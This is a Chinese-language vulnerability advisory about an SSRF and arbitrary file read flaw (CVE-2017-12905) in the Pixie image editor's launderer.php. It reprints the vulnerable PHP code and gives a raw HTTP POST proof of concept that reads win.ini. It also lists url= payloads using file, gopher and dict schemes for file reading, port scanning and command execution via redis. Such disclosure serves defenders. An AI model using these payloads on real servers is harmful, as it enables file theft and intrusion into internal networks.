【漏洞预警】pixie 在线图片编辑器全版本存在SSRF漏洞[0day]
名字:Pixie - Image Editor
系统介绍地址:https://codecanyon.net/item/pixie-image-editor/10721475
官方网站:http://vebto.com
Pixie是一款收费的图片编辑器。pixie编辑器的launderer.php
文件存在SSRF漏洞,同时存在任意文件读取漏洞。该漏洞可以导致用户遭受SSRF攻击和任意文件读取攻击。利用该漏洞可以读取服务器上的任意文件、探测端口信息、甚至可能导致命令执行,从而使攻击者提升权限。
漏洞原理与危害
launderer.php
文件未对接收的url
参数进行过滤,直接将POST请求的参数代入了网页请求操作,这里我们就可以通过修改url
参数来指向任意网址。漏洞代码如下:
if (isset($_POST['url'])) {
$url = $_POST['url'];
$mime = pathinfo($url, PATHINFO_EXTENSION);
if (function_exists('curl_version')) {
$handle = curl_init();
curl_setopt($handle, CURLOPT_URL, $url);
curl_setopt($handle, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($handle, CURLOPT_SSL_VERIFYPEER, false);
$data = curl_exec($handle);
curl_close($handle);
} else {
$data = file_get_contents($url);
}
$imageData = base64_encode($data);
$formatted = 'data: '.$mime.';base64,'.$imageData;
echo $formatted;
}
以上代码中首先判断url
参数是否赋值,然后将POST传递的url
参数赋给url变量,接下来判断是否支持curl
相关方法,如果不支持则选择使用file_get_contents
来实现获取网页的方法。最后根据请求返回的内容经过base64编码,调用echo方法将内容输出。
要想成功利用该漏洞,php.ini
文件中的allow_url_fopen
选项必须启用,在php4.0.4以后版本可用,默认是开启的。除此之外,在支持curl
相关函数支持的情况下,我们可以使用gopher,tftp,http,https,dict,ldap,file,imap,pop3,smtp,telnet等协议。在不支持的情况下将只可以使用http,https,ftp,file协议。
攻击者利用以上漏洞实现文件读取,内网信息探测(端口,web服务,ftp服务等),结合redis,memcached等可实现任意命令执行等危害。
受影响版本
目前亲测,pixie1.4,1.7版本存在问题。 目前根据官方网站提供的demo脚本,其php文件可以被下载,下载后的代码也为存在漏洞的代码。
漏洞poc
使用POST方式,构造url
参数,将请求的返回内容去掉data:*;base64,
,然后剩下的内容进行base64解码即可看到返回内容,获取相应信息。例如读取windows系统下的win.ini
文件。
POST /pixie/launderer.php HTTP/1.1
Host: 127.0.0.1:8989
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 21
Connection: close
Upgrade-Insecure-Requests: 1
url=file:///c:/windows/win.ini
访问http网站信息 url=http://123.test.clogs.ml
访问https网站信息 url=https://www.google.com
访问ftp服务信息 url=ftp://123.test.clogs.ml
以上几种方法为通用的,不管是否支持curl
相关函数都可以成功。
在支持curl
相关函数时,我们还可以去进行更高危害的利用,如探测端口,执行任意任意命令等。
利用gopher协议执行任意命令 url=gopher://123.test.clogs.ml
(记得修改goper利用poc)
我们还可以利用dict协议来探测端口,如:dict://127.0.0.1:3306
除以上意外,还可以利用imap,smpt,pop3,tftp,telnet协议实现更多方式攻击。
漏洞影响
目前在fofa系统中可以查看到有30多个系统使用。其中nike海外某分站,越南某购物网站,全球排名15万的网站,在德国本国排名前1万的网站均有使用该系统。
CVE编号
CVE-2017-12905
修复建议
1、对url参数进行过滤,限制相关协议
白帽汇从事信息安全,专注于安全大数据、企业威胁情报。
公司产品:FOFA-网络空间安全搜索引擎、FOEYE-网络空间检索系统、NOSEC-大数据安全协作平台。
为您提供:网络空间测绘、企业资产收集、企业威胁情报、应急响应服务。
最新评论